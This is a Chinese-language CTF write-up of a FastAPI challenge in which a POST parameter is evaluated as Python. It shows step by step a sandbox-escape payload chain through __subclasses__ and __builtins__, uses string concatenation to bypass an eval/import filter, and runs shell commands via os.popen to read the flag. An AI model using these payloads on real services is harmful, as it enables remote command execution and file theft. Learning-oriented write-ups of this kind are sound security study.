python
- 前言
- fastapi
- 简介
- fastapi安装使用
- 题目
- 做题过程的payload部分解析
- 后记
前言
上次做ctfshow的1024挑战杯,发现web题都没见过的题型,因此没有全部记录下来,这次特意对其中一个题进行一个较为详细的记录
fastapi
简介
fastapi是高性能的web框架。他的主要特点是:
- 快速编码
- 减少人为bug
- 直观
- 简易
- 具有交互式文档
- 基于API的开放标准(并与之完全兼容):OpenAPI(以前称为Swagger)和JSON Schema。
fastapi安装使用
大师傅博客 具体的就不多进行赘述了,师傅博客里写的挺好的,这次就是简单的了解半只脚跨进来,以后遇到了难处再进行补充说明。
题目
打开题目
发现提示fastapi
,然后在这个的官网上找到了,对于fastapi,网页会存在自述文档文件 /docs
,打开之后发现
发现了一个端口,需要post
参数q
来执行,所以看大佬的博客尝试post了一个python有返回值的函数
{"res":"yoyo","err":flase}
所以在这里可以尝试进行ssti
,具体思路,在上一篇已经说过了一些python里的方法,所以思路就是进行逐个尝试,最后进行搜索,读取指定文件的内容来获取flag
对于这些方法
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
所以首先构造payload:q=str(''.__class__)
得到
接着依次构造
q=str(''.__class__.__mro__[-1])
>>{"res":"<class 'object'>","err":false}
q=str(''.__class__.__mro__[-1].__subclasses__()[189])
>>{"res":"<class 'warnings.catch_warnings'>","err":false}
q=str(''.__class__.__mro__[-1].__subclasses__()[189].__init__)
>>{"res":"<function catch_warnings.__init__ at 0x7fad291ef5f0>","err":false}
q=str(''.__class__.__mro__[-1].__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al'])//注意这里存在了一个过滤,过滤掉了eval,所以采用python里的字符拼接进行绕过
>>{"res":"<built-in function eval>","err":false}
q=str(''.__class__.__mro__[-1].__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al']('__im'+'port__("os").po'+'pen("whoami").read()'))
>>{"res":"root\n","err":false}
//到了这里,基本上就做出来了,可以进行查找等操作了
q=str(''.__class__.__mro__[-1].__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ls").read()'))//这里同上,进行了过滤,采用字符拼接进行绕过
>>{"res":"main.py\nstart.sh\n","err":false}
q=str(''.__class__.__mro__[-1].__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al']('__im'+'port__("os").po'+'pen("grep flag main.py").read()'))
>>{"res":" hint = \"flag is in /mnt/f1a9,try to read it\"\n","err":false}
q=str(''.__class__.__mro__[-1].__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al']('__im'+'port__("os").po'+'pen("cat /mnt/f1a9").read()'))
>>{"res":"flag{787c8b2b-da0d-457e-b7a5-04f1acfebceb}\n","err":false}
得到flag。
做题过程的payload部分解析
对于上面的一串子payload,有的已经说明过了,对于一些没说明过的,在这里进行一下简单的说明,防止以后自己忘了。【手动滑稽】
print(globals()) # globals 函数返回一个全局变量的字典,包括所有导入的变量。
os.popen()//用于从一个命令打开一个管道。在我理解就是,执行一些系统命令,比如ls cat 等
grep //对于这个就不用多说了吧,Linux命令,用于查找某些符合条件的字符串
后记
这一篇就是一点简单的记录,没办法与那些大师傅们的博客比,就是为了自己现在学习,怕忘记了。